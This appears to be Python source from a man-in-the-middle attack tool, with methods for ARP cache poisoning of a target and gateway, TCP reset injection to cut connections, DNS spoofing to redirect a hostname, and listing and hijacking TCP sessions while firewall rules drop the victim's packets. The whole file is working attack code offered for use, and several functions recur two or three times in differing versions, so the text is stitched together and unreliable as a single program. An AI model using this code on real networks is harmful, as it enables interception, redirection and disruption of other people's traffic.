def poison(self, delay, target_b=None):
"""
poison arp cache of target and router, causing all traffic between them to
pass inside our machine, MITM heart
"""
if not target_b:
target_b = self.gateway
utils.set_ip_forward(1)
sock = socket(PF_PACKET, SOCK_RAW)
sock.bind((self.dev, dpkt.ethernet.ETH_TYPE_ARP))
try:
while True:
if self.debug:
log.info('[+] %s <-- %s -- %s -- %s --> %s',
target_b, self.target, self.dev, target_b, self.target)
if not isinstance(self.target, list):
sock.send(str(utils.build_arp_packet(
self.src_mac, target_b, self.target)))
sock.send(str(utils.build_arp_packet(
self.src_mac, self.target, target_b)))
time.sleep(delay) # OS refresh ARP cache really often
else:
for addr in self.target:
sock.send(str(utils.build_arp_packet(self.src_mac, target_b, addr)))
sock.send(str(utils.build_arp_packet(self.src_mac, addr, target_b)))
time.sleep(delay) # OS refresh ARP cache really often
except KeyboardInterrupt:
print('\n\r[+] Poisoning interrupted')
sock.close()
def poison(self, delay, target_b=None):
"""
poison arp cache of target and router, causing all traffic between them to
pass inside our machine, MITM heart
"""
if not target_b:
target_b = self.gateway
utils.set_ip_forward(1)
sock = socket(PF_PACKET, SOCK_RAW)
sock.bind((self.dev, dpkt.ethernet.ETH_TYPE_ARP))
try:
while True:
if self.debug:
log.info('[+] %s <-- %s -- %s -- %s --> %s',
target_b, self.target, self.dev, target_b, self.target)
if not isinstance(self.target, list):
sock.send(str(utils.build_arp_packet(
self.src_mac, target_b, self.target)))
sock.send(str(utils.build_arp_packet(
self.src_mac, self.target, target_b)))
time.sleep(delay) # OS refresh ARP cache really often
else:
for addr in self.target:
sock.send(str(utils.build_arp_packet(self.src_mac, target_b, addr)))
sock.send(str(utils.build_arp_packet(self.src_mac, addr, target_b)))
time.sleep(delay) # OS refresh ARP cache really often
except KeyboardInterrupt:
print('\n\r[+] Poisoning interrupted')
sock.close()
def rst_inject(self, port=None):
"""
injecting RESET packets to the target machine eventually blocking his
connection and navigation
"""
sock = socket(PF_PACKET, SOCK_RAW)
sock.bind((self.dev, dpkt.ethernet.ETH_TYPE_ARP))
pcap_filter = self._build_pcap_filter("ip host ", port)
# need to create a daemon that continually poison our target
poison_thread = Thread(target=self.poison, args=(2, ))
poison_thread.daemon = True
poison_thread.start()
# start capturing packets
packets = pcap.pcap(self.dev)
packets.setfilter(pcap_filter) # we need only target packets
print('[+] Start poisoning on ' + G + self.dev + W + ' between ' + G +
self.gateway + W + ' and ' + R +
(','.join(self.target) if isinstance(self.target, list
) else self.target) + W +
'\n')
if port:
print('[+] Sending RST packets to ' + R +
(','.join(self.target) if isinstance(self.target, list
) else self.target) +
W + ' on port ' + R + port + W)
else:
print('[+] Sending RST packets to ' + R +
(','.join(self.target) if isinstance(self.target, list
) else self.target) + W)
if self.verbose:
print('[+] Every dot symbolize a sent packet')
counter = 0
try:
for _, pkt in packets:
eth = dpkt.ethernet.Ethernet(pkt)
ip_packet = eth.data
if ip_packet.p == dpkt.ip.IP_PROTO_TCP:
tcp = ip_packet.data
if tcp.flags != dpkt.tcp.TH_RST:
# build tcp layer
tcp_layer = dpkt.tcp.TCP(sport=tcp.sport,
dport=tcp.dport,
seq=tcp.seq + len(tcp.data),
ack=0,
off_x2=0x50,
flags=dpkt.tcp.TH_RST,
win=tcp.win,
sum=0,
urp=0)
# build ip layer
ip_layer = dpkt.ip.IP(hl=ip_packet.hl,
tos=ip_packet.tos,
len=40,
id=ip_packet.id + 1,
off=0x4000,
ttl=128,
p=ip_packet.p,
sum=0,
src=ip_packet.src,
dst=ip_packet.dst,
data=tcp_layer)
# build ethernet layer
eth_layer = dpkt.ethernet.Ethernet(dst=eth.dst,
src=eth.src,
type=eth.type,
data=ip_layer)
sock.send(str(eth_layer))
if self.verbose:
utils.print_in_line('.')
else:
utils.print_counter(counter)
# rebuild layers
ip_packet.src, ip_packet.dst = ip_packet.dst, ip_packet.src
tcp_layer.sport, tcp_layer.dport = tcp.dport, tcp.sport
tcp_layer.ack, tcp_layer.seq = tcp.seq + len(
tcp.data), tcp.ack
eth_layer.src, eth_layer.dst = eth.dst, eth.src
sock.send(str(eth_layer))
if self.verbose:
utils.print_in_line('.')
else:
utils.print_counter(counter)
counter += 1
except KeyboardInterrupt:
print('[+] Rst injection interrupted\n\r')
sock.close()
self.restore(2)
utils.set_ip_forward(0)
def dns_spoof(self, host=None, redirection=None):
"""
Redirect all incoming request for 'host' to 'redirection'
"""
pcap_filter = self._build_pcap_filter('udp dst port 53 and src ')
redirection = gethostbyname(redirection)
print('[+] Start poisoning on ' + G + self.dev + W + ' between ' + G +
self.gateway + W + ' and ' + R +
(','.join(self.target) if isinstance(self.target, list
) else self.target) + W +
'\n')
# need to create a daemon that continually poison our target
poison_thread = Thread(target=self.poison, args=(2, ))
poison_thread.daemon = True
poison_thread.start()
packets = pcap.pcap(self.dev)
packets.setfilter(pcap_filter)
sock = socket(PF_PACKET, SOCK_RAW)
sock.bind((self.dev, dpkt.ethernet.ETH_TYPE_ARP))
print('[+] Redirecting ' + G + host + W + ' to ' + G + redirection +
W + ' for ' + R +
(','.join(self.target) if isinstance(self.target, list
) else self.target) + W)
try:
for _, pkt in packets:
eth = dpkt.ethernet.Ethernet(pkt)
ip_packet = eth.data
udp = ip_packet.data
dns = dpkt.dns.DNS(udp.data)
# validate query
if dns.qr != dpkt.dns.DNS_Q:
continue
if dns.opcode != dpkt.dns.DNS_QUERY:
continue
if len(dns.qd) != 1:
continue
if len(dns.an) != 0:
continue
if len(dns.ns) != 0:
continue
if dns.qd[0].cls != dpkt.dns.DNS_IN:
continue
if dns.qd[0].type != dpkt.dns.DNS_A:
continue
# spoof for our target name
if dns.qd[0].name != host:
continue
# send spoofed answer
send(
IP(src=inet_ntoa(ip_packet.dst),
dst=inet_ntoa(ip_packet.src)) /
UDP(sport=udp.dport, dport=udp.sport) /
DNS(opcode=dpkt.dns.DNS_RA,
rcode=dpkt.dns.DNS_RCODE_NOERR,
qr=dpkt.dns.DNS_R,
an=DNSRR(rrname=host,
type=dpkt.dns.DNS_A,
rclass=dpkt.dns.DNS_IN,
rdata=redirection)))
# dns query->response
# dns.op = dpkt.dns.DNS_RA
# dns.rcode = dpkt.dns.DNS_RCODE_NOERR
# dns.qr = dpkt.dns.DNS_R
#
# # construct fake answer
# arr = dpkt.dns.DNS.RR()
# arr.cls, arr.type, arr.name = dpkt.dns.DNS_IN, dpkt.dns.DNS_A, host
# # arr.ip = dnet.addr(redirection).ip
# arr.ip = socket.inet_aton(redirection)
#
# dns.an.append(arr)
#
# udp.sport, udp.dport = udp.dport, udp.sport
# ip_packet.src, ip_packet.dst = ip_packet.dst, ip_packet.src
# udp.data, udp.ulen = dns, len(udp)
# ip_packet.len = len(ip_packet)
#
#
# sock.send(str(ip_packet))
print(inet_ntoa(ip_packet.dst))
except KeyboardInterrupt:
print('[+] DNS spoofing interrupted\n\r')
self.restore(2)
utils.set_ip_forward(0)
def hijack_session(self, target_b=None):
"""
!! Still bugged, doesn't work properly !!
Try to hijack a TCP sessions between two local address
"""
if not target_b:
target_b = self.gateway
print(
'[+] Sessions between {}{}{} and {}{}{} will be listed soon,\n'
' just type the number of session to hijack and ENTER\n'.format(
G, self.target, W, G, target_b, W))
stop_thread = False
list_conn_thread = Thread(target=self.list_sessions,
args=(
lambda: stop_thread,
target_b,
))
list_conn_thread.start()
choice = None
sock = socket(PF_PACKET, SOCK_RAW)
sock.bind((self.dev, dpkt.ethernet.ETH_TYPE_ARP))
while True:
choice = raw_input()
choice = int(choice) - 1
if choice <= len(self.sessions) and choice > -1:
break
# must stop thread
stop_thread = True
list_conn_thread.join()
src_ip, src_port, dst_ip, dst_port = re.search(
r'^([0-9.]+):(\d+)\s+<->\s+([0-9.]+):(\d+)$',
self.sessions[choice]).groups()
str_src_ip, str_src_port, str_dst_ip, str_dst_port = src_ip, src_port, dst_ip, dst_port
print('\n[*] Trying an hijack for: {}:{} --> {}:{}'.format(
src_ip, src_port, dst_ip, dst_port))
print(
'\n[*] Waiting for another packet in order to get a seq and a ack number'
)
pcap_filter = 'src host %s and src port %s and dst host %s and dst port %s and tcp' % (
src_ip, src_port, dst_ip, dst_port)
packets = pcap.pcap(self.dev)
packets.setfilter(pcap_filter)
eth = None
for _, pkt in packets:
eth = dpkt.ethernet.Ethernet(pkt)
ip_packet = eth.data
tcp = ip_packet.data
if ip_packet.src == dst_ip:
src_port, dst_port = tcp.dport, tcp.sport
else:
src_port, dst_port = tcp.sport, tcp.dport
seq, ack, data = tcp.seq, tcp.ack, tcp.data
print('[*] Packet captured => SEQ: {}, ACK: {}'.format(seq, ack))
seq += len(data)
print(
'[*] Sending 1024 bytes nop payload to trying a desynchronization.\n'
)
tcp_layer = dpkt.tcp.TCP(sport=src_port,
dport=dst_port,
seq=seq,
ack=ack,
data='\x00' * 1024)
# build ip layer
ip_layer = dpkt.ip.IP(src=src_ip, dst=dst_ip, data=tcp_layer)
# build ethernet layer
eth_layer = dpkt.ethernet.Ethernet(dst=eth.dst,
src=eth.src,
type=eth.type,
data=ip_layer)
sock.send(str(eth_layer))
seq += 1024
print('[*] Desynchronization complete.')
break
def response_to(ack):
"""Daemon function used to intercept responses from the hijacked session"""
pcap_filter = 'src host %s and src port %s and dst host %s and dst port %s and tcp' % (
str_dst_ip, str_dst_port, str_src_ip, str_src_port)
sock = socket(PF_PACKET, SOCK_RAW)
sock.bind((self.dev, dpkt.ethernet.ETH_TYPE_ARP))
packets = pcap.pcap(self.dev)
packets.setfilter(pcap_filter)
eth = None
for _, pkt in packets:
eth = dpkt.ethernet.Ethernet(pkt)
ip_packet = eth.data
tcp = ip_packet.data
if tcp.seq == ack:
seq = tcp.ack
if len(tcp.data) > 0:
ack += len(tcp.data)
tcp_layer = dpkt.tcp.TCP(sport=src_port,
dport=dst_port,
seq=seq,
ack=ack)
# build ip layer
ip_layer = dpkt.ip.IP(src=src_ip,
dst=dst_ip,
data=tcp_layer)
# build ethernet layer
eth_layer = dpkt.ethernet.Ethernet(dst=eth.dst,
src=eth.src,
type=eth.type,
data=ip_layer)
sock.send(str(eth_layer))
sys.stdout.write(tcp.data)
# start a thread to handle responses to the hijacked session
tcpdaemon_thread = Thread(target=response_to, args=(ack, ))
tcpdaemon_thread.daemon = True
tcpdaemon_thread.start()
os.system('/sbin/iptables -A FORWARD -s %s -p tcp --sport %s -j DROP' %
(str_src_ip, str_src_port))
os.system('/sbin/iptables -A FORWARD -d %s -p tcp --dport %s -j DROP' %
(str_src_ip, str_src_port))
print(
'[*] Session hijacked, everything entered now should be sent through it.'
)
# start a command loop to send instruction to the hijacked session
try:
while True:
data = raw_input('> ')
tcp_layer = dpkt.tcp.TCP(sport=src_port,
dport=dst_port,
seq=seq,
ack=1,
data=data)
# build ip layer
ip_layer = dpkt.ip.IP(src=src_ip, dst=dst_ip, data=tcp_layer)
# build ethernet layer
eth_layer = dpkt.ethernet.Ethernet(dst=eth.dst,
src=eth.src,
type=eth.type,
data=ip_layer)
sock.send(str(eth_layer))
seq += len(data)
except KeyboardInterrupt:
print('[+] Session hijacking interrupted\n\r')
self.restore(2)
utils.set_ip_forward(0)
def dns_spoof(self, host=None, redirection=None):
"""
Redirect all incoming request for 'host' to 'redirection'
"""
pcap_filter = self._build_pcap_filter('udp dst port 53 and src ')
redirection = gethostbyname(redirection)
sock = dnet.ip()
print('[+] Start poisoning on ' + G + self.dev + W + ' between ' + G +
self.gateway + W + ' and ' + R +
(','.join(self.target) if isinstance(self.target, list
) else self.target) + W +
'\n')
# need to create a daemon that continually poison our target
poison_thread = Thread(target=self.poison, args=(2, ))
poison_thread.daemon = True
poison_thread.start()
packets = pcap.pcap(self.dev)
packets.setfilter(pcap_filter)
print('[+] Redirecting ' + G + host + W + ' to ' + G + redirection +
W + ' for ' + R +
(','.join(self.target) if isinstance(self.target, list
) else self.target) + W)
try:
for _, pkt in packets:
eth = dpkt.ethernet.Ethernet(pkt)
ip_packet = eth.data
udp = ip_packet.data
dns = dpkt.dns.DNS(udp.data)
# validate query
if dns.qr != dpkt.dns.DNS_Q:
continue
if dns.opcode != dpkt.dns.DNS_QUERY:
continue
if len(dns.qd) != 1:
continue
if len(dns.an) != 0:
continue
if len(dns.ns) != 0:
continue
if dns.qd[0].cls != dpkt.dns.DNS_IN:
continue
if dns.qd[0].type != dpkt.dns.DNS_A:
continue
# spoof for our target name
if dns.qd[0].name != host:
continue
# dns query->response
dns.op = dpkt.dns.DNS_RA
dns.rcode = dpkt.dns.DNS_RCODE_NOERR
dns.qr = dpkt.dns.DNS_R
# construct fake answer
arr = dpkt.dns.DNS.RR()
arr.cls, arr.type, arr.name = dpkt.dns.DNS_IN, dpkt.dns.DNS_A, host
arr.ip = dnet.addr(redirection).ip
dns.an.append(arr)
udp.sport, udp.dport = udp.dport, udp.sport
ip_packet.src, ip_packet.dst = ip_packet.dst, ip_packet.src
udp.data, udp.ulen = dns, len(udp)
ip_packet.len = len(ip_packet)
print(inet_ntoa(ip_packet.src))
buf = dnet.ip_checksum(str(ip_packet))
sock.send(buf)
except KeyboardInterrupt:
print('[+] DNS spoofing interrupted\n\r')
self.restore(2)
utils.set_ip_forward(0)
def list_sessions(self, stop, target_b=None, port=None):
"""
Try to get all TCP sessions of the target
"""
notorious_services = {
20: ' ftp-data session',
21: ' ftp-data session',
22: ' ssh session',
23: ' telnet session',
25: ' SMTP session',
80: ' HTTP session',
110: ' POP3 session',
143: ' IMAP session',
194: ' IRC session',
220: ' IMAPv3 session',
443: ' SSL session',
445: ' SAMBA session',
989: ' FTPS session',
990: ' FTPS session',
992: ' telnet SSL session',
993: ' IMAP SSL session',
994: ' IRC SSL session'
}
source = utils.get_default_gateway_linux()
if target_b and target_b != self.gateway:
source = utils.get_mac_by_ip(target_b)
pcap_filter = self._build_pcap_filter("ip host ", port)
packets = pcap.pcap(self.dev)
packets.setfilter(pcap_filter) # we need only self.target packets
# need to create a daemon that continually poison our target
poison_thread = Thread(target=self.poison, args=(
2,
target_b,
))
poison_thread.daemon = True
poison_thread.start()
print('[+] Start poisoning on ' + G + self.dev + W + ' between ' + G +
source + W + ' and ' + R + (','.join(self.target) if isinstance(
self.target, list) else self.target) + W + '\n')
sessions = {}
try:
for _, pkt in packets:
if stop():
break
eth = dpkt.ethernet.Ethernet(pkt)
ip_packet = eth.data
if ip_packet.p == dpkt.ip.IP_PROTO_TCP:
tcp = ip_packet.data
if tcp.flags != dpkt.tcp.TH_RST:
sess = "%-25s <-> %25s" % (
inet_ntoa(ip_packet.src) + ":" + str(tcp.sport),
inet_ntoa(ip_packet.dst) + ":" + str(tcp.dport))
check = False
if sess not in sessions:
check = True
sessions[sess] = "Others"
if tcp.sport in notorious_services:
sessions[sess] = notorious_services[tcp.sport]
elif tcp.dport in notorious_services:
sessions[sess] = notorious_services[tcp.dport]
if check is True:
print(" [{:^5}] {} : {}".format(
len(sessions), sess, sessions[sess]))
self.sessions.append(sess)
except KeyboardInterrupt:
print('[+] Session scan interrupted\n\r')
self.restore(2)
utils.set_ip_forward(0)
def rst_inject(self, port=None):
"""
injecting RESET packets to the target machine eventually blocking his
connection and navigation
"""
sock = socket(PF_PACKET, SOCK_RAW)
sock.bind((self.dev, dpkt.ethernet.ETH_TYPE_ARP))
pcap_filter = self._build_pcap_filter("ip host ", port)
# need to create a daemon that continually poison our target
poison_thread = Thread(target=self.poison, args=(2,))
poison_thread.daemon = True
poison_thread.start()
# start capturing packets
packets = pcap.pcap(self.dev)
packets.setfilter(pcap_filter) # we need only target packets
print('[+] Start poisoning on ' + G + self.dev + W + ' between ' + G + self.gateway + W
+ ' and ' + R
+ (','.join(self.target) if isinstance(self.target, list) else self.target) + W +'\n')
if port:
print('[+] Sending RST packets to ' + R
+ (','.join(self.target) if isinstance(self.target, list) else self.target)
+ W + ' on port ' + R + port + W)
else:
print('[+] Sending RST packets to ' + R
+ (','.join(self.target) if isinstance(self.target, list) else self.target) + W)
if self.verbose:
print('[+] Every dot symbolize a sent packet')
counter = 0
try:
for _, pkt in packets:
eth = dpkt.ethernet.Ethernet(pkt)
ip_packet = eth.data
if ip_packet.p == dpkt.ip.IP_PROTO_TCP:
tcp = ip_packet.data
if tcp.flags != dpkt.tcp.TH_RST:
# build tcp layer
tcp_layer = dpkt.tcp.TCP(
sport=tcp.sport,
dport=tcp.dport,
seq=tcp.seq + len(tcp.data),
ack=0,
off_x2=0x50,
flags=dpkt.tcp.TH_RST,
win=tcp.win,
sum=0,
urp=0)
# build ip layer
ip_layer = dpkt.ip.IP(
hl=ip_packet.hl,
tos=ip_packet.tos,
len=40,
id=ip_packet.id + 1,
off=0x4000,
ttl=128,
p=ip_packet.p,
sum=0,
src=ip_packet.src,
dst=ip_packet.dst,
data=tcp_layer)
# build ethernet layer
eth_layer = dpkt.ethernet.Ethernet(
dst=eth.dst,
src=eth.src,
type=eth.type,
data=ip_layer)
sock.send(str(eth_layer))
if self.verbose:
utils.print_in_line('.')
else:
utils.print_counter(counter)
# rebuild layers
ip_packet.src, ip_packet.dst = ip_packet.dst, ip_packet.src
tcp_layer.sport, tcp_layer.dport = tcp.dport, tcp.sport
tcp_layer.ack, tcp_layer.seq = tcp.seq + len(tcp.data), tcp.ack
eth_layer.src, eth_layer.dst = eth.dst, eth.src
sock.send(str(eth_layer))
if self.verbose:
utils.print_in_line('.')
else:
utils.print_counter(counter)
counter += 1
except KeyboardInterrupt:
print('[+] Rst injection interrupted\n\r')
sock.close()
self.restore(2)
utils.set_ip_forward(0)
def dns_spoof(self, host=None, redirection=None):
"""
Redirect all incoming request for 'host' to 'redirection'
"""
pcap_filter = self._build_pcap_filter('udp dst port 53 and src ')
redirection = gethostbyname(redirection)
print('[+] Start poisoning on ' + G + self.dev + W + ' between ' + G + self.gateway + W
+ ' and ' + R
+ (','.join(self.target) if isinstance(self.target, list) else self.target) + W +'\n')
# need to create a daemon that continually poison our target
poison_thread = Thread(target=self.poison, args=(2, ))
poison_thread.daemon = True
poison_thread.start()
packets = pcap.pcap(self.dev)
packets.setfilter(pcap_filter)
sock = socket(PF_PACKET, SOCK_RAW)
sock.bind((self.dev, dpkt.ethernet.ETH_TYPE_ARP))
print('[+] Redirecting ' + G + host + W + ' to ' + G + redirection + W + ' for ' + R
+ (','.join(self.target) if isinstance(self.target, list) else self.target) + W)
try:
for _, pkt in packets:
eth = dpkt.ethernet.Ethernet(pkt)
ip_packet = eth.data
udp = ip_packet.data
dns = dpkt.dns.DNS(udp.data)
# validate query
if dns.qr != dpkt.dns.DNS_Q:
continue
if dns.opcode != dpkt.dns.DNS_QUERY:
continue
if len(dns.qd) != 1:
continue
if len(dns.an) != 0:
continue
if len(dns.ns) != 0:
continue
if dns.qd[0].cls != dpkt.dns.DNS_IN:
continue
if dns.qd[0].type != dpkt.dns.DNS_A:
continue
# spoof for our target name
if dns.qd[0].name != host:
continue
# send spoofed answer
send(IP(src=inet_ntoa(ip_packet.dst), dst=inet_ntoa(ip_packet.src))/
UDP(sport=udp.dport, dport=udp.sport)/
DNS(opcode=dpkt.dns.DNS_RA, rcode=dpkt.dns.DNS_RCODE_NOERR,
qr=dpkt.dns.DNS_R, an=DNSRR(rrname=host, type=dpkt.dns.DNS_A,
rclass=dpkt.dns.DNS_IN,
rdata=redirection)))
# dns query->response
# dns.op = dpkt.dns.DNS_RA
# dns.rcode = dpkt.dns.DNS_RCODE_NOERR
# dns.qr = dpkt.dns.DNS_R
#
# # construct fake answer
# arr = dpkt.dns.DNS.RR()
# arr.cls, arr.type, arr.name = dpkt.dns.DNS_IN, dpkt.dns.DNS_A, host
# # arr.ip = dnet.addr(redirection).ip
# arr.ip = socket.inet_aton(redirection)
#
# dns.an.append(arr)
#
# udp.sport, udp.dport = udp.dport, udp.sport
# ip_packet.src, ip_packet.dst = ip_packet.dst, ip_packet.src
# udp.data, udp.ulen = dns, len(udp)
# ip_packet.len = len(ip_packet)
#
#
# sock.send(str(ip_packet))
print(inet_ntoa(ip_packet.dst))
except KeyboardInterrupt:
print('[+] DNS spoofing interrupted\n\r')
self.restore(2)
utils.set_ip_forward(0)
def hijack_session(self, target_b=None):
"""
!! Still bugged, doesn't work properly !!
Try to hijack a TCP sessions between two local address
"""
if not target_b:
target_b = self.gateway
print('[+] Sessions between {}{}{} and {}{}{} will be listed soon,\n'
' just type the number of session to hijack and ENTER\n'.format(G, self.target,
W, G, target_b, W))
stop_thread = False
list_conn_thread = Thread(target=self.list_sessions, args=(lambda: stop_thread, target_b, ))
list_conn_thread.start()
choice = None
sock = socket(PF_PACKET, SOCK_RAW)
sock.bind((self.dev, dpkt.ethernet.ETH_TYPE_ARP))
while True:
choice = raw_input()
choice = int(choice) - 1
if choice <= len(self.sessions) and choice > -1:
break
# must stop thread
stop_thread = True
list_conn_thread.join()
src_ip, src_port, dst_ip, dst_port = re.search(r'^([0-9.]+):(\d+)\s+<->\s+([0-9.]+):(\d+)$',
self.sessions[choice]).groups()
str_src_ip, str_src_port, str_dst_ip, str_dst_port = src_ip, src_port, dst_ip, dst_port
print('\n[*] Trying an hijack for: {}:{} --> {}:{}'.format(src_ip,
src_port, dst_ip, dst_port))
print('\n[*] Waiting for another packet in order to get a seq and a ack number')
pcap_filter = 'src host %s and src port %s and dst host %s and dst port %s and tcp' % (src_ip, src_port, dst_ip, dst_port)
packets = pcap.pcap(self.dev)
packets.setfilter(pcap_filter)
eth = None
for _, pkt in packets:
eth = dpkt.ethernet.Ethernet(pkt)
ip_packet = eth.data
tcp = ip_packet.data
if ip_packet.src == dst_ip:
src_port, dst_port = tcp.dport, tcp.sport
else:
src_port, dst_port = tcp.sport, tcp.dport
seq, ack, data = tcp.seq, tcp.ack, tcp.data
print('[*] Packet captured => SEQ: {}, ACK: {}'.format(seq, ack))
seq += len(data)
print('[*] Sending 1024 bytes nop payload to trying a desynchronization.\n')
tcp_layer = dpkt.tcp.TCP(
sport=src_port,
dport=dst_port,
seq=seq,
ack=ack,
data='\x00' * 1024)
# build ip layer
ip_layer = dpkt.ip.IP(
src=src_ip,
dst=dst_ip,
data=tcp_layer)
# build ethernet layer
eth_layer = dpkt.ethernet.Ethernet(
dst=eth.dst,
src=eth.src,
type=eth.type,
data=ip_layer)
sock.send(str(eth_layer))
seq += 1024
print('[*] Desynchronization complete.')
break
def response_to(ack):
"""Daemon function used to intercept responses from the hijacked session"""
pcap_filter = 'src host %s and src port %s and dst host %s and dst port %s and tcp' % (str_dst_ip, str_dst_port, str_src_ip, str_src_port)
sock = socket(PF_PACKET, SOCK_RAW)
sock.bind((self.dev, dpkt.ethernet.ETH_TYPE_ARP))
packets = pcap.pcap(self.dev)
packets.setfilter(pcap_filter)
eth = None
for _, pkt in packets:
eth = dpkt.ethernet.Ethernet(pkt)
ip_packet = eth.data
tcp = ip_packet.data
if tcp.seq == ack:
seq = tcp.ack
if len(tcp.data) > 0:
ack += len(tcp.data)
tcp_layer = dpkt.tcp.TCP(
sport=src_port,
dport=dst_port,
seq=seq,
ack=ack)
# build ip layer
ip_layer = dpkt.ip.IP(
src=src_ip,
dst=dst_ip,
data=tcp_layer)
# build ethernet layer
eth_layer = dpkt.ethernet.Ethernet(
dst=eth.dst,
src=eth.src,
type=eth.type,
data=ip_layer)
sock.send(str(eth_layer))
sys.stdout.write(tcp.data)
# start a thread to handle responses to the hijacked session
tcpdaemon_thread = Thread(target=response_to, args=(ack,))
tcpdaemon_thread.daemon = True
tcpdaemon_thread.start()
os.system('/sbin/iptables -A FORWARD -s %s -p tcp --sport %s -j DROP' % (str_src_ip, str_src_port))
os.system('/sbin/iptables -A FORWARD -d %s -p tcp --dport %s -j DROP' % (str_src_ip, str_src_port))
print('[*] Session hijacked, everything entered now should be sent through it.')
# start a command loop to send instruction to the hijacked session
try:
while True:
data = raw_input('> ')
tcp_layer = dpkt.tcp.TCP(
sport=src_port,
dport=dst_port,
seq=seq,
ack=1,
data=data)
# build ip layer
ip_layer = dpkt.ip.IP(
src=src_ip,
dst=dst_ip,
data=tcp_layer)
# build ethernet layer
eth_layer = dpkt.ethernet.Ethernet(
dst=eth.dst,
src=eth.src,
type=eth.type,
data=ip_layer)
sock.send(str(eth_layer))
seq += len(data)
except KeyboardInterrupt:
print('[+] Session hijacking interrupted\n\r')
self.restore(2)
utils.set_ip_forward(0)
def dns_spoof(self, host=None, redirection=None):
"""
Redirect all incoming request for 'host' to 'redirection'
"""
pcap_filter = self._build_pcap_filter('udp dst port 53 and src ')
redirection = gethostbyname(redirection)
sock = dnet.ip()
print('[+] Start poisoning on ' + G + self.dev + W + ' between ' + G + self.gateway + W
+ ' and ' + R
+ (','.join(self.target) if isinstance(self.target, list) else self.target) + W +'\n')
# need to create a daemon that continually poison our target
poison_thread = Thread(target=self.poison, args=(2, ))
poison_thread.daemon = True
poison_thread.start()
packets = pcap.pcap(self.dev)
packets.setfilter(pcap_filter)
print('[+] Redirecting ' + G + host + W + ' to ' + G + redirection + W + ' for ' + R
+ (','.join(self.target) if isinstance(self.target, list) else self.target) + W)
try:
for _, pkt in packets:
eth = dpkt.ethernet.Ethernet(pkt)
ip_packet = eth.data
udp = ip_packet.data
dns = dpkt.dns.DNS(udp.data)
# validate query
if dns.qr != dpkt.dns.DNS_Q:
continue
if dns.opcode != dpkt.dns.DNS_QUERY:
continue
if len(dns.qd) != 1:
continue
if len(dns.an) != 0:
continue
if len(dns.ns) != 0:
continue
if dns.qd[0].cls != dpkt.dns.DNS_IN:
continue
if dns.qd[0].type != dpkt.dns.DNS_A:
continue
# spoof for our target name
if dns.qd[0].name != host:
continue
# dns query->response
dns.op = dpkt.dns.DNS_RA
dns.rcode = dpkt.dns.DNS_RCODE_NOERR
dns.qr = dpkt.dns.DNS_R
# construct fake answer
arr = dpkt.dns.DNS.RR()
arr.cls, arr.type, arr.name = dpkt.dns.DNS_IN, dpkt.dns.DNS_A, host
arr.ip = dnet.addr(redirection).ip
dns.an.append(arr)
udp.sport, udp.dport = udp.dport, udp.sport
ip_packet.src, ip_packet.dst = ip_packet.dst, ip_packet.src
udp.data, udp.ulen = dns, len(udp)
ip_packet.len = len(ip_packet)
print(inet_ntoa(ip_packet.src))
buf = dnet.ip_checksum(str(ip_packet))
sock.send(buf)
except KeyboardInterrupt:
print('[+] DNS spoofing interrupted\n\r')
self.restore(2)
utils.set_ip_forward(0)
def list_sessions(self, stop, target_b=None, port=None):
"""
Try to get all TCP sessions of the target
"""
notorious_services = {
20: ' ftp-data session',
21: ' ftp-data session',
22: ' ssh session',
23: ' telnet session',
25: ' SMTP session',
80: ' HTTP session',
110: ' POP3 session',
143: ' IMAP session',
194: ' IRC session',
220: ' IMAPv3 session',
443: ' SSL session',
445: ' SAMBA session',
989: ' FTPS session',
990: ' FTPS session',
992: ' telnet SSL session',
993: ' IMAP SSL session',
994: ' IRC SSL session'
}
source = utils.get_default_gateway_linux()
if target_b and target_b != self.gateway:
source = utils.get_mac_by_ip(target_b)
pcap_filter = self._build_pcap_filter("ip host ", port)
packets = pcap.pcap(self.dev)
packets.setfilter(pcap_filter) # we need only self.target packets
# need to create a daemon that continually poison our target
poison_thread = Thread(target=self.poison, args=(2, target_b, ))
poison_thread.daemon = True
poison_thread.start()
print('[+] Start poisoning on ' + G + self.dev + W + ' between ' + G + source + W
+ ' and ' + R
+ (','.join(self.target) if isinstance(self.target, list) else self.target) + W +'\n')
sessions = {}
try:
for _, pkt in packets:
if stop():
break
eth = dpkt.ethernet.Ethernet(pkt)
ip_packet = eth.data
if ip_packet.p == dpkt.ip.IP_PROTO_TCP:
tcp = ip_packet.data
if tcp.flags != dpkt.tcp.TH_RST:
sess = "%-25s <-> %25s" % (inet_ntoa(ip_packet.src) + ":"
+ str(tcp.sport), inet_ntoa(ip_packet.dst) + ":"
+ str(tcp.dport))
check = False
if sess not in sessions:
check = True
sessions[sess] = "Others"
if tcp.sport in notorious_services:
sessions[sess] = notorious_services[tcp.sport]
elif tcp.dport in notorious_services:
sessions[sess] = notorious_services[tcp.dport]
if check is True:
print(" [{:^5}] {} : {}".format(len(sessions), sess, sessions[sess]))
self.sessions.append(sess)
except KeyboardInterrupt:
print('[+] Session scan interrupted\n\r')
self.restore(2)
utils.set_ip_forward(0)
